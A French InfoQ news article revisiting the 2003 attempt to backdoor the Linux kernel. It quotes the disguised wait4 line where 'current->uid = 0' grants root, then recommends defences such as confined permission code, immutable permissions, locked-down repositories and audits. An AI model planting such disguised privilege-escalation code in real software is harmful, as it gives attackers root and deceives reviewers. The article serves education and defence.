BT

Diffuser les Connaissances et l'Innovation dans le Développement Logiciel d'Entreprise

Contribuez

Sujets

Sélectionner votre région

Accueil InfoQ Actualités Une Rétrospective de la Backdoor du Noyau Linux

Une Rétrospective de la Backdoor du Noyau Linux

Favoris

Avec toutes les inquiétudes récentes à propos de l'Agence Nationale de Sécurité du gouvernement des Etats-Unis (NSA), une partie de l'attention s'est tournée vers la possibilité des backdoors . Si vous êtes peu familiers avec le terme, il s'agit d'une faille introduite sciemment dans un système d'exploitation ou un programme qui permet à des utilisateurs, par ailleurs non autorisés, à accéder au système. En 2003, quelqu'un a tenté d'insérer une backdoor dans le noyau Linux. Bien qu'interceptée, cette tentative illustre comment des changements en apparence innocents peuvent introduire des vulnérabilités et l'importance de la traçabilité dans le contrôle de source.

Le code, décrit pour la première fois par Corbet dans un article LWN.Net, était déguisé pour ressembler à une validation de paramètre dans la fonction wait4.

    if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

Normalement cela ne devait pas avoir d'effet, sauf si le programme appelant passait intentionnellement des valeurs invalides, alors la seconde partie de l'expression if aurait été exécutée. Cette partie passait l'identifiant utilisateur du programme (current->uid) à 0, ce qui correspond à l'utilisateur root dans Linux.

Au premier regard cela ressemble à une simple erreur de frappe. Les développeurs écrivent souvent accidentellement '=' quand ils veulent en fait écrire '=='. Mais quand on considère que la fonction wait4 ne devrait rien avoir à faire avec l'id utilisateur, l'intentionnalité devient évidente.

Corbet explique comment cela a été détecté,

Chaque changement dans le dépôt CVS inclut un lien informatif le reliant aux changesets équivalents dans BitKeeper. Les changements en question n'avaient pas cette information, et donc se distinguaient immédiatement.

Une tentative de faire un changement de cette manière est, au mieux, suspicieuse, et il y a donc eu beaucoup d'attention sur ce que le changement réalisait.

L'attaque utilisée pour insérer la backdoor s'est faite contre le clone CVS du dépôt BitKeeper. Corbet continue son explication,

Le dépôt CVS est généré à partir de BitKeeper, ce n'est pas un chemin pour introduire des patchs dans les dépôts BitKeeper. Donc le code en question ne pouvait qu'affecter des utilisateurs qui travaillent à partir du dépôt CVS. Les noyaux utilisés par les distributeurs ne proviennent probablement pas de ce dépôt, et, comme cet incident l'a montré, le code illicite ne peut pas rester là si longtemps que ça avant d'être détecté.

Imaginez que quelqu'un essaye cette attaque sur une base de code ne bénéficiant pas des contrôles et de l'examen approfondi en place dans l'équipe du noyau Linux. Comment vous protégeriez-vous si une ligne de code en apparence innocente pouvait être insérée n'importe où et dans les faits créer une backdoor ?

Une option serait de créer vôtre propre "noyau" à l'intérieur de l'application. Seul ce code pourrait changer des flags comme les rôles et permissions de l'utilisateur. Tout le reste du code obtenant seulement une vue en lecture seule de l'objet représentant les permissions utilisateurs, de telle manière qu'il ne puisse donner les accès root à l'utilisateur.

Dans ce modèle, le code "current->uid = 0" ne compilerait simplement pas. A la place, on aurait soit à altérer directement le module de sécurité de l'application, ce qui serait inspecté de beaucoup plus près, soit à se rabattre sur des astuces utilisant la réflexion. Et du code basé sur les mécanismes de réflexion serait bien sûr beaucoup plus visible qu'une simple assignation.

Si le langage le supporte, une option encore meilleure est de rendre l'ensemble des permissions utilisateurs entièrement immuable. Cela restreindrait encore plus les endroits où une attaque pourrait résider, c'est à dire à l'endroit où l'ensemble de permissions est créé.

Cela devrait s'accompagner de restrictions sur le serveur de contrôle de source. Plutôt que de les exécuter ouverts à tout les vents, la capacité à promouvoir du code dans des branches principales devrait être restreinte au minimum de personnes possible. Et le code sensible d'un point de vue sécurité devrait être entièrement verrouillé par défaut, avec des permissions d'édition seulement attribuées au cas par cas. La manière exacte d'implémenter cela dépend de la nature centralisée ou non du système de contrôle de source et du produit spécifique.

Finalement, ce genre de techniques échouera si les changements dans le code ne sont pas audités avant d'atteindre la production. Elles ne peuvent que réduire la probabilité qu'un tel audit rate quelque-chose.

Evaluer cet article

Pertinence
Style

Contenu Éducatif

BT